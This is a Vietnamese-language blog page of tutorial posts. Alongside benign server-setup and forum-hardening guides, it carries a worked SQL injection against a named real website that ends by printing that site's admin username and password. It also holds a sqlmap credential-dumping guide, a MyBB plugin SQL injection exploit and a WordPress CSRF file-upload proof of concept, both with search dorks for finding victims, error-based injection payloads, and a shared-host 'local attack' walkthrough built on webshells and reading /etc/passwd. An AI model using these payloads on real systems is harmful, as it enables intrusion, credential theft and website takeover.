Trang

Hiển thị các bài đăng có nhãn TUTORIALS. Hiển thị tất cả bài đăng
Hiển thị các bài đăng có nhãn TUTORIALS. Hiển thị tất cả bài đăng

Cách bảo vệ Admincp của diễn đàn Vbulletin​

Những việc mà các bạn cần tìm hiểu và làm đó là:
1. Đổi tên (rename) cho cái thư mục admincp gốc của nó thành 1 cái tên khác mà các bạn chắc chắn chỉ có các admin có thể biết. Nhưng không sửa lại path trong file /includes/config.php. Ai không biết rename thì pm sent user + pass vps hay host qua inbox ccb Drop dùm cho :))
vd: Aitimduocadmincpnaykhong

2. Đặt mật khẩu bảo vệ thư mục cho cái thư mục admincp fake (Aitimduocadmincpnaykhong) này, có nhiều cách như add code vào global.php, index.php, hay đơn giản là cứ .htaccess + .htpasswd mà táng. Mấy bài hướng dẫn dạng này nhiều vô số kể các bạn tìm rồi làm theo thôi.

3. Thực hiện 2 bước dưới đây để chống lại việc tìm ra path thật bằng những tính năng có sẵn của Vbulletin.
a. Phân quyền lại cho các nhóm từ Mod
-> Cao nhất không cho xem Location của thành viên khác khi dùng chức năng Who's online nhiều bản việt hóa nó dịch thành "phúc trình vãng lai" gì đó trên forum. Cách phân quyền như sau: Login vào admincp trước rồi vào
Admin CP -> Usergroups -> Usergroup Manager -> Edit Usergroup -> Who's Online Permissions -> Can View Detailed Location Info for Users -> No
Save lại và làm tương tự cho các nhóm (Group) còn lại thế là xong phần phân quyền tránh dòm ngó.

b. Giới hạn Current activity (hoạt động hiện tại) trên các tài khoản có quyền truy cập vào admincp fake đó. bằng cách sửa code trong tempate đang sài. để không cho hiển thị những thông tin có thể làm lộ location của admin khi đang hành sự trên diễn đàn. Login vào admincp rồi vào

Styles & Templates -> Search in Templates -> tìm với skin muốn sửa và tìm với từ khóa : current activity
-> ra cái kết quả màu mè MEMBERINFO -> click vào nó và tìm tiếp với từ current activity sẽ thấy đoạn code như sau:


PHP:

Xem Thêm

 

SQL UNHEX --- 403 --- LIMIT.

SQL UNHEX --- 403 --- LIMIT.



Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS





http://ibms.co/about.php?pid=34 ### is ok ###


http://ibms.co/about.php?pid=34' ### error ##


Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


http://ibms.co/about.php?pid=34+order+by+1--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+10--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+20--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+30--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+40--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+50--+- ### is ok ###
http://ibms.co/about.php?pid=34+order+by+60--+- ### is ok ###

WTF i'm drunk ....mmm not ... here the solution ..add ---> ' <---

example: /about.php?pid=34'+order+by+1--+-

http://ibms.co/about.php?pid=34'+order+by+1--+-

start again

http://ibms.co/about.php?pid=34'+order+by+1--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+10--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+20--+- ### is ok ###
http://ibms.co/about.php?pid=34'+order+by+30--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+29--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+28--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+27--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+26--+- ### error ###
http://ibms.co/about.php?pid=34'+order+by+25--+- ### is ok ###

Fatal error: Call to a member function fetch_assoc() on a non-object in /home/ibms/public_html/module/class.tbl.php on line 45

ok 25 Tables
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

now union+select

http://ibms.co/about.php?pid=34'+union+s...,24,25--+-

D: damn 403 f**k... i not want live in this world anymore...this website is secure D: ......


don't worry here the solution

add ( and )

example: /about.php?pid=34'+union+(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25)--+-


http://ibms.co/about.php?pid=34'+union+(...24,25)--+-


done... now is ok again ..but not show the f**k column vulnerable...

only add ---> - <---

example: /about.php?pid=-34'+union+(select+1,2,3,

http://ibms.co/about.php?pid=-34'+union+...4​,25)--+-


well now show columns 6 and 7

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+++++++

now

add: unhex(hex(table_name)) +from+information_schema/**/.tables+where+table_schema=database()+LIMIT+0,200--+-

example

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.tables+where+table_schema=database()+limit+0,200)--+- ### ( show "Admin" ) ###

done luck today in the first table ---admin is Admin Meh ok next

change the 0 by LIMIT to 1

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.tables+where+table_schema=database()+limit+1,200)--+- ### ( show "Contact" ) ### ok leave it . already have the name ... is admin u see it before ...

ok now columns

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​+++++++

############# now the columns ############


add: +union+select+1,unhex(hex(column_name)) +from+information_schema/**/.columns+where+table_schema=database()+LIMIT+0,200--+-


example:

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+0,200)--+- ### ( show "Id" ) ###

but we need user and pass.let's go to search it only change +LIMIT+0,200--+- TO +LIMIT+1,200--+-

and +LIMIT+2,200--+- and +LIMIT+3,200--+- etc....



########## this show username or admin user #################

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+1,200)--+- ###( show "Username" )###

done here the username but continue searching for the pass .....change it for 2 and 3 etc ...


########### this show password #################

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+information_schema/**/.columns+where+table_schema=database()+limit+2,200)--+- ###( show "Password" )###

well username and password by admin

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++​++++++++++++++++++++++++++++++++++++++
+++++++++++++++++

now dump dates ...

add: unhex(hex(username)) and +from+admin)--+-

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+admin)--+-

###( show "admin" ) = username = admin) ###



now column "password"

example: unhex(hex(password)),3,4,5,6, and +from+admin--+-

http://ibms.co/about.php?pid=-34'+union+...2,23,24,25
+from+admin)--+-

###( show "Ibmsanusha" ) = password = Ibmsanusha )###


Done..Enjoy testing others Websites.



REMEMBER

Please no modific nothing in this website ..only i share it for education only check what u are in and get out .... THANKS

Xem Thêm

 

Cài Đặt Apache2 Với Php5 Và Hỗ Trợ Mysql Trên Ubuntu 11.10

LAMP là chữ viết tắt thường được dùng để chỉ sự sử dụng các phần mềm Linux, Apache, MySQL và ngôn ngữ văn lệnh PHP hay Perl hay Python để tạo nên một môi trường máy chủ Web có khả năng chứa và phân phối các trang Web động. Bài viết sau sẽ hướng dẫn các bạn cài đặt máy chủ web Apache2 trên Ubuntu 11.10 server với PHP5 hỗ trợ cho mod_php và MySQL.

Lưu ý chung

Trong phần minh họa này chúng tôi sử dụng hostname server1.example.com với địa chỉ IP 192.168.0.23. Bạn có thể thay đổi sao cho phù hợp với mình.

Các bước sau cần chạy với quyền root, vì vậy bạn có thể chạy lệnh:


để đăng nhập với quyền root.

Cài đặt MySQL 5

  • Đầu tiên chúng ta sử dụng lệnh sau để cài đặt MySQL 5:


  • Bạn sẽ được yêu cầu cung cấp một mật khẩu cho MySQL của user root – đây là mật khẩu có giá trị cho người dùng root@localhost cũng như root@server1.example.com, vì thế chúng ta sẽ chỉ định một password cho MySQL:
New password for the MySQL “root” user: <– Mat khau root SQL
Repeat password for the MySQL “root” user: <– Mat khau root SQL

Cài đặt Apache2

Apache2 có sẵn trong gói Ubuntu, người dùng chỉ cần sử dụng lệnh sau để cài đặt:



Bây giờ nhập vào đường dẫn http://192.168.0.23 trong trình duyệt của mình, bạn sẽ thấy trang của Apache2:

[​IMG]

Theo mặc định, thư mục root của Apache2 thuộc /var/www trong Ubuntu, và tập tin cấu hình của nó là/etc/apache2/apache2.conf. Các cấu hình bổ sung được lưu trữ trong thư mục con của thư mục /etc/apache2, chẳng hạn /etc/apache2/mods-enabled (cho các module Apache), /etc/apache2/sites-enabled (cho virtual hosts), và /etc/apache2/conf.d.

Cài đặt PHP5

Chúng ta tiến hành cài đặt PHP5 và module Apache PHP5 bằng lệnh:

Sau đó khởi động lại Apache:

Thử nghiệm PHP5 và ghi nhận thông tin về quá trình cài đặt

Theo mặc định, thư mục root của website là /var/www. Chúng ta sẽ tạo một tập tin php nhỏ (info.php) trong thư mục này và gọi nó trên trình duyệt. Tập tin này sẽ hiển thị các thông tin hữu ích về trình cài đặt PHP, chẳng hạn như phiên bản của PHP hiện tại.


1
<?phpphpinfo();?>


Bây giờ chúng ta gọi file này trên trình duyệt (192.168.0.23/info.php).

[​IMG]

Với hình ảnh trên cho thấy PHP5 đang hoạt động thông qua Apache 2.0 Handler (hiển thị tại dòng Server API). Nếu di chuyển tiếp xuống bên dưới bạn sẽ thấy các module đã được kích hoạt trong PHP 5. MySQL không được liệt kê có nghĩa là PHP5 không hỗ trợ MySQL. Chúng ta khắc phục bằng cách dưới đây:

“Bắt” PHP5 hỗ trợ MySQL

Để MySQL được hỗ trợ trong PHP5, chúng ta cần cài đặt gói php5-mysql. Đây là việc làm tốt để cài đặt các module khác của PHP5 cũng như những ứng dụng cần thiết về sau.

Tìm kiếm những module có sẵn của PHP5:


Chọn những gì cần cài đặt:


Cuối cùng restart Apache2:





Bây giờ bạn hãy tải lại trang 192.168.0.23/info.php trên trình duyệt của mình, kéo xuống dưới lần nữa bạn sẽ thấy những module mới, bao gồm cả MySQL:

[​IMG]

phpMyAdmin

PhpMyAdmin là một giao diện web, thông qua đó bạn có thể quản lý cơ sở dữ liệu MySQL. Vì vậy khuyến cáo bạn nên cài đặt nó.


Bạn sẽ nhận được câu hỏi sau:

web server to reconfigure automatically: <– nhập apache2
Configure database for phpmyadmin with dbconfig-common? <– nhập No

Sau đó bạn có thể truy cập vào phpMyAdmin theo 192.168.0.23/phpmyadmin/:

[​IMG]

Xem Thêm

 

Hướng dẫn sử dụng SqlMap Backtrack 5

Hi, in this tutorial, I’ll be showing you a simple SQL Injection using BackTrack 5.

Quote:
[dbname] = Database name; [tbname] = Table name; [cmname] = Column name.

1. Open up sqlmap
This image has been resized.Click to view original image

2. One we load the terminal, we wanna find a vunerable site.
Use any dork or check any posted vulns 3. Now, it’s time for the codes
Quote:
./sqlmap.py -u website.com/index.php?id=? --dbs
With this command, you’ll be able to extract the databases.
Looks like this:


3. Once we have the DBS, it’s time to get the tables.
Quote:
./sqlmap website.php/index.php?id=? -D [dbname] --tables
4. After we get the tables which looks like this:

We need to get the columns.
Now, we need to write:
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] --columns
5. Once we get the columns
This image has been resized.Click to view original image

We need to dump the files.
Quote:
.sqlmap.py -u website.com/index.php?id=? -D [dbname] -T [tbname] -C [cbname] --dump
Example .sqlmap.py -u website.com/index.php?id=? -D information_shema -T users -C username --dump
6. After we do this, we will get encrypted password.
How to decrypt!?
You can decrypt online, or using the aforementioned hash.py.
How to use Hash.py!?
Download link for Hash.py
http://uploading.com/ee6e71ed/hash-py
1. Move it to /root
2. Open up your BT5 Terminal
3. Locate your file, in our case /root/hash.py
Quote:
/root/hash.py
We have Online & Offline attack methods.
If you wanna use the offline method, you need a wordlist.

Xem Thêm

 

MyBB Ajaxfs 2 Plugin - SQL Injection Vulnerability

###########################

# Mybb Ajaxfs Plugin Sql Injection vulnerability

###########################

#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

# Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability

# Author : Iranian Exploit DataBase

# Discovered By : IeDb

# Email : [email protected] - [email protected]

# Home : http://iedb.ir - http://iedb.ir/acc

# Fb Page : https://www.facebook.com/pages/Explo...99266860256538

# Software Link : http://mods.mybb.com/download/ajax-forum-stat-v-2

# Security Risk : High

# Tested on : Linux

# Dork : inurl:ajaxfs.php

#################################

1)

if(isset($_GET['tooltip']))
{
$pid=$_GET['tooltip'];
$query_post = $db->query ("SELECT * FROM ".TABLE_PREFIX."posts WHERE pid='$pid'");


2)

if(isset($_GET['usertooltip']))
{
$uid=$_GET['usertooltip'];
$query_user = $db->query ("SELECT * FROM ".TABLE_PREFIX."users WHERE uid='$uid'");

http://localhost/Upload/ajaxfs.php?usertooltip=1'

1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

Google DORK : inurl:ajaxfs.php


# Exploit :

# http://site.com/mybb/ajaxfs.php?tooltip=[sql]

# http://site.com/mybb/ajaxfs.php?usertooltip=[sql]


#################################

# Tnx To : All Member In Iedb.ir/acc & Iranian Hackers

#################################

Xem Thêm

 

[TUT] Khai thác lỗi SQL Injection dạng error-based quick blind

Ví dụ victim có dạng:

http://target.com/page.php?id = 1

Lệnh get version, database

http://target.com/page.php?id = 1 [color=#ffffffff]And (Select 1 From(Select Count(*),Concat(CHAR (124),(Select Concat(version(),0x7c,database(),0x7c,user())),floor(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables Group By x)a)[/color]

Tương tự vậy, lệnh get table:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),1,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Bạn để ý chỗ 1,145…Tăng số 1 đó thành một số lớn hơn (thường là số ký tự được trả ra trong dấu ngoặc kép sau phần duplicate entrie….)

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(table_name),63,145) FROM information_schema.tables where table_schema=database()),floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tiếp theo, lấy column của một table nào đó

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name),1,145) FROM information_schema.columns where table_schema=database() and table_name=0xso_hex_cua_tablename) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

Tăng số 1 theo nguyên tắc như trên.

Và cuối cùng là dữ liệu:

And (Select 1 From( Select Count(*), Concat(CHAR (124), (Select substr(Group_concat(column_name_1,0x7c,column_name_2),1,145) FROM table_name_nao_do) ,floor(rAnd(0)*2), CHAR (124))x FROM Information_Schema.Tables Group By x)a)

CEH

Xem Thêm

 

Backdoor trong modem D-Link và khai thác

Một người bạn đã đưa cho tôi bài viết này.

Backdoor trong modem D-Link và khai thác với chrome

reverse engineering đối với firmware của modem D-Link và phát hiện trong đó có một cách có thể để bất cứ người nào truy cập trực tiếp vào modem D-Link.

Rõ ràng đây là dụng ý của nhà sản xuất firmware…Đoạn code có dạng:


Mã:

Xem Thêm

 

WordPress Curvo Themes - CSRF File Upload

################################################## #################################################
# Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability
# Author: Byakuya
# Date: 10/26/2013
# Vendor Homepage: http://themeforest.net/
# Themes Link: http://www.wphub.com/themes/curvo-by-themeforest/
# Infected File: upload_handler.php
# Google dork: inurl:/wp-content/themes/curvo/
################################################## #################################################

# Exploit & POC :

<form enctype="multipart/form-data"
action="http://127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post">
<input type="jpg" name="url" value="./" /><br />
Please choose a file: <input name="uploadfile" type="file" /><br />
<input type="submit" value="upload" />
</form>

#File path:
http://site.com/wordpress/wp-content/uploads/[FILE]
or
http://site.com/wordpress/wp-content/uploads/[year]/[month]/[FILE]

Xem Thêm

 

Hướng dẫn cài đặt XenServer 6 và XenCenter

Yêu cầu hệ thống

XenServer chạy trực tiếp trên phần cứng đồng nghĩa với việc sẽ không có bất cứ thứ gì nằm giữa phần cứng và XenServer. Nói cách khác, XenServer đúng nghĩa là một hệ điều hành. Nó sẽ giao tiếp trực tiếp với phần cứng, gồm cả card mạng (NIC) và bộ điều khiển lưu trữ.

Chương trình yêu cầu CPU 64 bit kích hoạt Intel VT hoặc AMD-V. Nhưng, đây chỉ là khuyến nghị từ nhà cung cấp. XenServer vẫn có thể được cài nếu CPU không được kích hoạt Intel VT hay AMD-V. Tuy nhiên, các tiện ích và tính năng sẽ bị hạn chế.

Nhớ rằng, XenServer là một chương trình ảo hóa một phần. Nó sử dụng kỹ thuật ảo hóa một phần trong ảo hóa server. Do đó, chương trình đòi hỏi bộ xử lý trên server vật lý có khả năng thực hiện công nghệ ảo hóa để ta có thể tận dụng hết khả năng của nó.

Người dùng cần tối thiểu 2GB RAM chỉ để cài đặt XenServer, nhưng theo khuyến nghị, nên sử dụng ít nhất 8GB RAM, đặc biệt nếu người dùng dự định tạo nhiều máy ảo trên đó. Bản thân XenServer yêu cầu 16GB bộ nhớ nhưng, ta sẽ cần nhiều không gian hơn cho máy ảo.

Chương trình có thể hoạt động với một bộ điều khiển NIC 100Mb. Tuy nhiên, bộ điều khiển một Gigabit hay thậm chí 10Gigabit được khuyến nghị.

Phần cứng cho XenServer

Có thể đặt 1TB RAM, 16 NIC và 64 bộ xử lý logic trên một máy chủ (host) vật lý chạy XenServer. Nhớ rằng các bộ xử lý logic là sự kết hợp của nhiều lõi.

Hãy kiểm tra danh sách phần cứng tương thích (HCL) tại hcl.xensource.com trước khi trả tiền mua phần cứng hay thiết bị ngoại vi dự đính gắn vào server.

Trong hầu hết trường hợp, khi người dùng tìm đến một nhà cung cấp phần mềm và bảo cho họ cái mình định làm với server (ví dụ làm XenServer), trước hết, nhà cung cấp sẽ kiểm tra tính tương thích. Tuy nhiên, hãy kiểm tra các phần cứng như thiết bị ngoại vi, NIC… trong HCL để tránh những phát sinh trong quá trình cài đặt và sử dụng sau đó.

XenServer thực ra được cài trên phần cứng lớp server. Tuy nhiên, do là một bản phân phối Linux và do đang sử dụng kỹ thuật ảo hóa một phần nên nó có thể tương thích với nhiều loại máy để bàn hay thậm chí là laptop.

Vì vậy, nếu muốn thử nghiệm, người dùng có thể cài XenServer lên một laptop hay trên một máy trạm, chương trình sẽ vẫn hoạt động.

Tải Citrix XenServer 6 và XenCenter

Tải XenServer và XenCenter từ http://www.citrix.com/xenserver. Hoặc nếu có tài khoản MyCitrix, bạn có thể truy cập vào http://www.citrix.com/mycitrix để tải chương trình.

XenServer có dung lượng 508MB (file đuôi ISO) và XenCenter là 41MB.

Cài đặt XenServer thì nhanh và dễ dàng. Sau đây là các bước cài đặt:

Ghi file ISO vào một đĩa CD và cho đĩa vào ổ đĩa quang hoặc bung file bằng phần mềm như MagicISO.
Hãy đảm bảo VT (hay AMD-V) được kích hoạt trong BIOS của server.
Khởi động từ đĩa CD.
Đáp ứng các truy vấn thiết lập cơ bản và khởi động lại.
Thực hiện những cấu hình ban đầu, như gán địa chỉ IP, host name, mật khẩu…
Kết nối vào XenServer qua XenCenter.


Quá trình cài đặt chỉ mất khoảng 10 phút.
Yêu cầu cài đặt XenCenter

Citrix XenCenter là một ứng dụng nền Windows có thể được cài trên máy thật hoặc máy ảo.

Chương trình tương thích với bất cứ phiên bản Windows nào: Windows XP, Vista, 7, Server 2003, 2008 và 2008RC. XenCenter yêu cầu .NET Framework 3.5.

Yêu cầu được khuyến nghị như sau: Tần số 1GHz, RAM tối thiểu 2GB, tốc độ NIC ít nhất 100Mbps và độ phân giải màn hình tối thiểu 1024x768. Chương trình chiếm 100MB không gian đĩa cứng.
Cài đặt XenServer
http://www.thuvien-it.net/home/tinhoc/vi...eadid=7978

Xem Thêm

 

Tìm hiểu về Local Attack

I. Khái niệm chung


  • Thông thường, khi host một site lên server thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1 được cấp thư mục /home/user1 để quản lý site của user1. Tương tự như vậy, tài khoản user2 được cấp thư mục /home/user2 để quản lý site của user2. Bằng cách nào đó, hacker có thể chiếm giữ /home/user2 và dùng các script (shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script ở site của user này để tấn công vào site của user khác trên cùng một server được gọi là Local Attack.





  • Như vậy, Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.
  • Điểm mấu chốt của tấn công Local Attackhacker đã chiếm được quyền điều khiển một site nằm trên shared-server đó và sử dụng nó làm bàn đạp tấn công các site khác cùng server. Điều này có thể hiểu đơn giản là hacker đã upload được một web-shell (phổ biến như r57, c99…) lên site của user2 (site này đặt tại /home/user2) và dùng web-shell này để tấn công sang site của user1 (được đặt tại /home/user1). Để có được web-shell trên một site để dùng làm bàn đạp, hacker có thể lợi dụng các lỗ hổng của site đó như SQL injection, XSS,… Thậm chí, hacker có thể mua một host nằm trên cùng server với site đó rồi tự upload web-shell lên và tiến hành Local Attack.


II. Một số kiến thức cần biết

1. Host và Shared Hosting


  • Thông thường đối với web site, dữ liệu của nó phải được lưu trên 1 máy chủ (server) luôn hoạt động và kết nối với mạng internet. Khoảng không gian bộ nhớ trên máy chủ sử dụng để lưu trữ dữ liệu của website được gọi là host.
  • Đối với một số cơ quan tổ chức, việc thuê hẳn 1 server để lưu trữ dữ liệu website là không thiết thực. Do nhu cầu của họ chỉ đơn giản là lưu trữ, hơn nữa giá thành thuê 1 server cũng không phải là rẻ. Chính vì vậy, shared hosting là một lựa chọn hợp lý. Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.


2. Hệ thống phân quyền

  • Không giống như windows, hệ điều hành Linux có hệ thống phân quyền khá phức tạp và chặt chẽ.
  • Linux hỗ trợ 3 quyền làm việc cơ bản:
r: quyền đọc (read)
w: quyền ghi (write)
x: quyền thực thi (execute)
- : không cho phép.
  • Các quyền này được chỉ định cho 3 đối tượng:

u : người sở hữu (owner)
g : nhóm sở hữu (group)
o : các người sử dụng thông thường (other)



  • Quyền cho 1 file hay thư mục được biểu hiện như sau :

– rwx rwx rwx

đặc tính owner group other
Ký tự thứ nhất: xác định kiểu của file.

- : regular file (text, binary, executed file)
d : thư mục
c/b : device file
l : link file

9 ký tự kế tiếp: xác định quyền đọc, ghi, thực thi đối với người sở hữu, nhóm sở hữu và người dùng còn lại.


  • Thay đổi nhóm/người sở hữu: chown, chgrp
    • Thực hiện bởi root hoặc người sở hữu.
    • Thay đổi người sở hữu:
    • chown user_name file_name
    • Thay đổi nhóm sở hữu:
    • chgrp group_name file_name

  • Thay đổi quyền truy cập: chmod
    • Cú pháp :
chmod quyền đối tượng


  • Ví dụ :
Muốn thêm quyền ghi cho nhóm đối với thư mục shell ta dùng lệnh :
chmod g+x shell
g+x cho biết sẽ thêm quyền ghi (w) vào đối tượng group (g).Tương tự các quyền khác với các đối tượng khác.
Muốn loại bỏ hoàn toàn quyền của đối tượng group ta dùng lệnh :
chmod g-rwx shell
Quyền của file (thư mục) trong câu lệnh chmod còn được biểu hiện bằng các các số theo qui luật sau :


r : quyền đọc (read) = 4
w : quyền ghi (write) = 2
x : quyền thực thi (execute) = 1
- : không cho phép = 0


Giả sử muốn:
owner quyền đọc, ghi, thực thi (4+2+1=7)
group quyền đọc và ghi (4+2=6)
người dùng khác (other) quyền thực thi (=1)

Ta làm như sau :
chmod 761 shell


  • Quyền truy cập đối với tệp tin
    • Quyền đọc (r – read): tức người dùng có thể đọc nội dung của file.
    • Quyền ghi (w – write): tức là người dùng có thể ghi nội dung vào file.
    • Quyền thực thi (x – execute): nếu file là file thực thi (chạy) thì người dùng có thể chạy file này.
  • Quyền truy cập đối với thư mục
    • Quyền đọc (r – read): tức người dùng có thể liệt kê danh sách tên file thông qua lệnh ls.
    • Quyền ghi (w – write): tức là người dùng có thể tạo hoặc xóa file trong thư mục.
    • Quyền thực thi (x – execute): cho phép người dùng nhảy vào trong thư mục (lệnh cd).
    • Quyền đọc và thực thi không phụ thuộc vào nhau.

3. Webshell


  • Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng. Shell được hiểu như là 1 phần mềm cung cấp cho người dùng giao diện để giao tiếp với phần nhân của hệ điều hành.
  • Tương tự với shell, webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản. Với những tính năng ưu việt này, nhưng khi rơi vào tay hacker, webshell lại trở thành 1 công cụ đáng sợ giúp thâm nhập hệ thống. Dần dần, dựa trên những webshell “nguyên thủy”, các hacker đã thêm vào nhiều tính năng, tạo nên webshell riêng phục vụ cho mục đích xấu của mình.
  • Một số webshell nổi tiếng: webadmin, r57, c99…

Các bước tấn công local attack


Bước 1: Xác định mục tiêu

Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip:


myIPneighbors
seologs
huehacker
Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu

Khi đã tìm được các website có cùng server với victim, hacker sẽ chọn các website có hệ thống an ninh lỏng lẻo nhất và tấn công bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.

Bước 3: Thu thập thông tin về mục tiêu
Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao… Bước này là bước quan trọng trong quá trình cuộc tấn công mục tiêu. Thông thường hacker sẽ sử dụng các câu lệnh sau để hiển thị các thông tin cần thiết:

cat /etc/passwd

cat /etc/valiasse


Tập tin /etc/passwd chứa thông tin về danh sách các user. Tập tin /etc/valiasse chứa thông tin về danh sách các site nằm trên server. Từ hai tập tin này, hacker có thể phỏng đoán được user ứng với mỗi website và đặc điểm của user đó cũng như tìm được thư mục gốc.

Bước 4: Tấn công trực tiếp mục tiêu
Sau khi có được các thông tin cần thiết như trên, hacker sẽ tiến hành tấn công trực tiếp mục tiêu. Nếu mục tiêu được cấu hình không tốt, hacker có thể đọc được các thông tin quan trọng như cấu trúc các thư mục, nội dung các file cấu hình của php, mysql như username, password của cơ sở dữ liệu… Thậm chí hacker có thể tiếp tục upload webshell lên side của mục tiêu để tạo backdoor cho các lần tấn công sau đó.
Khi đã có trong tay thông tin đăng nhập vào cơ sở dữ liệu thì việc còn lại của hacker chỉ là lấy cắp hoặc thay đổi các thông tin của website, điều này càng trở nên dễ dàng khi nội dung cơ sở dữ liệu không được mã hóa. Tệ hơn, hacker có thể xóa toàn bộ dữ liệu của website.

Bản chất – nguyên nhân
Qua việc phân tích các bước tấn công như trên, chúng ta có thể thấy nguyên nhân sâu xa gây ra Local Attack là do việc phân quyền không chặt chẽ của quản trị server cũng như quản trị website. Trong bốn bước tấn công trên thì bước 3 và bước 4 là hai bước mà hacker tấn công trực tiếp vào server và website mục tiêu. Ở bước 3, do việc phân quyền các file quan trọng như /etc/passwd của quản trị server không kĩ nên hacker có thể lấy được các thông tin về user trong file này. Ở bước 4, trách nhiệm lại thuộc về quản trị website khi cấu hình phân quyền các file, thư mục không tốt khiến hacker có thể dễ dàng hiện được cấu trúc thư mục cũng như đọc được các thông tin quan trọng khác.

Đối với thư mục, cấu hình phân quyền mặc định trong Windows là 777, trong Linux là 755. Còn đối với file, cấu hình phân quyền mặc định trong Windows là 666 và trong Linux là 644. Với cấu hình lỏng lẻo như thế này, hacker có thể dễ dàng xem được các thông tin quan trọng về hệ thống cũng như các thông tin quan trọng trong file cấu hình bằng lệnh ls, cat

Giải pháp
Có rất nhiều biện pháp phòng chống Local Attack, đòi hỏi sự phối hợp chặt chẽ từ cả 2 phía: quản trị server (hosting provider) và quản trị web (customer).

1. Từ phía quản trị server (hosting provider)

  • Trước hết, các nhà quản trị server nên tự trang bị cho mình những công cụ bảo vệ server như firewall và chương trình antivirus được cập nhập bản mới nhất. Antivirus giúp phát hiện và diệt những shell hay chương trình độc hại ngay khi nó được upload lên server, firewall đóng vai trò như 1 vệ sĩ gác cửa ngăn chặn và cảnh báo 1 số các sự kiện: mở cổng, truy cập khả nghi đến server
  • Việc cập nhập phiên bản kernel cũng như các phiên bản ứng dụng mới cho server phải được thường xuyên thực hiện. Cũng nên kiểm tra, cập nhập web serverdatabase server lên phiên bản mới nhất. Điều này không chỉ giúp cho server sử dụng các tính năng mới nhất mà còn tránh được các lỗ hổng gây lỗi của phiên bản cũ.
